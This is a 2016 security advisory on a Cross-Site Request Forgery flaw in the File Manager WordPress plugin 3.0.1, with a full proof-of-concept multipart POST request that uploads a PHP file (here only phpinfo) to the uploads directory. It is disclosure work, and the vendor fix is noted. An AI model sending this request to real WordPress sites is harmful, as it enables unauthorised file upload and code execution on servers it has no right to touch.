Advisory

David Vaartjes, July 2016

Cross-Site Request Forgery in File Manager WordPress plugin


/advisory/SFY20160727/file-manager-plugin-logo.png

Abstract

A Cross-Site Request Forgery (CSRF) vulnerability was found in the File Manager WordPress Plugin. Among others, this issue can be used to upload arbitrary PHP files to the server.

OVE ID

OVE-20160712-0029

Tested versions

This issue was succesfully tested on the File Manager WordPress Plugin version 3.0.1.

Fix

The author informed us that this issue has been fixed in File Manager WordPress Plugin version 4.1.5.

Introduction

The File Manager WordPress Plugin is a file manager for WordPress which can be used to upload, delete, copy, move, rename, archive and extract files without the need for FTP. It was discovered that the File Manager WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details

The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server.

Please note that the target user needs to be logged in.

Proof of concept

The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory.

When uploaded, this file can be requested from the outside as follows:
http://<wp-server>/wp-content/uploads/file-manager/info.php

Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wp-server>
Cookie: ALL_YOUR_WP_COOKIES
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6427194103423794601262893907
   
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="cmd"
   
upload
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="target"
   
l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="suffix"
   
~
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="action"
   
connector
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="upload[]"; filename="info.php"
Content-Type: text/php
   
<?php
phpinfo();
?>

-----------------------------6427194103423794601262893907--

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